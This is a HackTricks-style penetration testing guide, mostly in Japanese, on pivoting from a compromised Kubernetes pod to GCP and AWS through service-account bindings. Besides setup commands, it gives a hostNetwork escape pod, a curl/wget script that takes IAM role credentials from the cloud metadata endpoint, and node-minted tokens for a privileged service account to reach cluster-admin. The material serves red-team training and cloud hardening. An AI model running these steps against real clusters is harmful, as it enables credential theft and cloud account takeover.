Kubernetes Pivoting to Clouds

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

GCP

GCP 内で k8s クラスターを稼働させている場合、クラスター内で動作するアプリケーションに GCP へのアクセスを与えたいことが多いです。これを実現する一般的な方法は 2 つあります:

Mounting GCP-SA keys as secret

Kubernetes アプリケーションに GCP へのアクセスを与える一般的な方法は次の通りです:

  • Create a GCP Service Account
  • Bind on it the desired permissions
  • Download a json key of the created SA
  • Mount it as a secret inside the pod
  • Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.

Warning

したがって、attacker として、pod 内のコンテナを侵害した場合は、GCP 資格情報を含む env variablejson files がないか確認するべきです。

Relating GSA json to KSA secret

GSA に GKE cluser へのアクセスを与える方法の一つは、次のようにそれらをバインドすることです:

  • Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
kubectl create serviceaccount <service-account-name>
  • Kubernetes Secret を作成し、GKE cluster にアクセスを付与したい GCP service account の認証情報を含めます。これは gcloud コマンドラインツールを使用して行えます。以下の例を参照してください:
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • 次のコマンドを使用して Kubernetes Secret を Kubernetes service account にバインドします:
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Warning

second stepで、credentials of the GSA as secret of the KSA が設定されました。したがって、もし read that secretinsideGKE クラスタから読み取ることができれば、escalate to that GCP service account できます。

GKE Workload Identity

Workload Identity を使用すると、a Kubernetes service account Google service account として動作させるように設定できます。Kubernetes service account を使って実行される Pods は、Google Cloud APIs にアクセスする際に自動的に Google service account として認証されます。

The first series of steps to enable this behaviour is to enable Workload Identity in GCP (steps) and create the GCP SA you want k8s to impersonate.

  • Enable Workload Identity on a new cluster
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • 新しい nodepool を作成/更新 (Autopilot clusters では不要)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • K8sからGCPの権限を持つ GCP Service Account to impersonate を作成する:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • クラスタ接続して、使用するサービスアカウント作成する
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • GSAをKSAにバインドする
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • podKSA で実行し、GSA: への access を確認する
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

必要に応じて認証するために、以下のコマンドを確認してください:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Warning

K8s 内の攻撃者としては SAs を検索するべきです(iam.gke.io/gcp-service-account アノテーションを持つもの)。これはその SA が GCP の何かにアクセスできることを示しています。別の方法として、クラスタ内の各 KSA を悪用できないか試し、それがアクセスできるか確認することもあります。
GCP 側からは、bindings を列挙して、Kubernetes 内の SAs にどのようなアクセスを与えているかを把握することが常に重要です。

これはその annotation を探すために、全ての pods 定義を簡単に iterate するスクリプトです:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

PodにIAM Rolesを付与する(時代遅れの)方法の一つは、Kiam または Kube2IAMserver.を使うことです。基本的には、クラスター内でdaemonsetある種の特権的なIAM roleの権限で実行する必要があります。このdaemonsetが、必要とするPodに対してIAM rolesへのアクセスを付与します。

まず、namespace内でどのrolesにアクセスできるかを設定する必要があり、これはnamespaceオブジェクト内のannotationで行います:

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

namespace が IAM roles で設定され、Pods に付与可能になったら、各 pod 定義に対して 指定したい role を次のように示すことができます:

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Warning

攻撃者として、もし pods や namespaces にこれらの注釈を見つけたり、kiam/kube2iam サーバーが実行されている(おそらく kube-system に)場合、既に pods によって使用されているすべての role をなりすますことができ、さらに多くのことが可能になります(AWS アカウントにアクセスできる場合はロールを列挙してください)。

IAM Role を持つ Pod の作成

Note

指定する IAM role は kiam/kube2iam role と同じ AWS アカウント内に存在し、その role からアクセスできる必要があります。

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

OIDC 経由の K8s Service Accounts 用 IAM Role

これは AWS によって推奨される方法 です。

  1. まず最初に、create an OIDC provider for the cluster を作成する必要があります。
  2. 次に、SA が必要とする権限を持つ IAM role を作成します。
  3. trust relationship between the IAM role and the SA を作成します(または namespace を指定して、その namespace 内のすべての SA にロールへのアクセスを与えることもできます)。信頼関係では主に OIDC provider 名、namespace 名、SA 名が検証されます
  4. 最後に、ロールの ARN を示す annotation を付けた SA を作成します。その SA で実行される pods はロールの token へアクセス できます。token はファイルに 書き込まれ、パスは AWS_WEB_IDENTITY_TOKEN_FILE で指定されます(デフォルト: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

/var/run/secrets/eks.amazonaws.com/serviceaccount/token から トークンを使って aws を取得する には、次を実行します:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Warning

攻撃者として、K8s クラスタを列挙できる場合は、service accounts with that annotation を確認して escalate to AWS できるか調べてください。これを行うには、IAM の privileged service accounts のいずれかを使って exec/createpod を起動し、token を盗むだけです。

さらに、pod 内にいる場合は、AWS_ROLE_ARNAWS_WEB_IDENTITY_TOKEN のような環境変数を確認してください。

Caution

場合によっては、Turst Policy of a rolebad configured になっており、期待される service account に AssumeRole アクセスを与える代わりに all the service accounts に付与してしまうことがあります。したがって、制御下の service account に annotation を書き込むことができれば、その role にアクセスできます。

詳細は以下のページを確認してください:

AWS - Federation Abuse

クラスタ内で IAM Roles を持つ Pods と SAs を見つける

これは、iterate over the all the pods and sas definitions looking for that annotation を簡単に行うスクリプトです:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role to cluster-admin

The previos section was about how to steal IAM Roles with pods, but note that a Node of the K8s cluster is going to be an instance inside the cloud. This means that the Node is highly probable going to have an IAM role you can steal (note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node).

  • pod の中にいて、metadata endpoint が少なくとも 2 tcp hops を通るように設定されていること。これは最も一般的なミスコンフィグで、通常クラスター内の異なる pods が metadata endpoint へのアクセスを必要とし、いくつかの企業は単にクラスター内のすべての pods から metadata endpoint へのアクセスを許可してしまうためです。
  • hostNetwork が有効な pod の中にいること。
  • Node にエスケープして、metadata endpoint に直接アクセスすること。

(注:metadata endpoint はいつもどおり 169.254.169.254 です)。

To escape to the node you can use the following command to run a pod with hostNetwork enabled:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

以前、attach IAM Roles to Pods の方法や、インスタンスにアタッチされている escape to the Node to steal the IAM Role 方法について説明しました。

以下のスクリプトを使って、苦労して手に入れた新しい IAM role credentialssteal できます:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Privesc to cluster-admin

要約すると: pod から access the EKS Node IAM role が可能であれば、compromise the full kubernetes cluster が可能です。

詳細は this post を参照してください。概要として、EKS ノードにデフォルトで割り当てられる IAM ロールは、クラスター内で system:node ロールとして割り当てられます。このロールは非常に興味深いものですが、kubernetes の Node Restrictions によって制限されています。

しかし、node は常にノード内で動作している pods に紐づく service accounts のために generate tokens for service accounts ことができます。したがって、ノードが privileged service account を持つ pod を実行している場合、ノードはその service account のトークンを生成し、それを使ってその service account を偽装できます。例は次のとおり:

kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする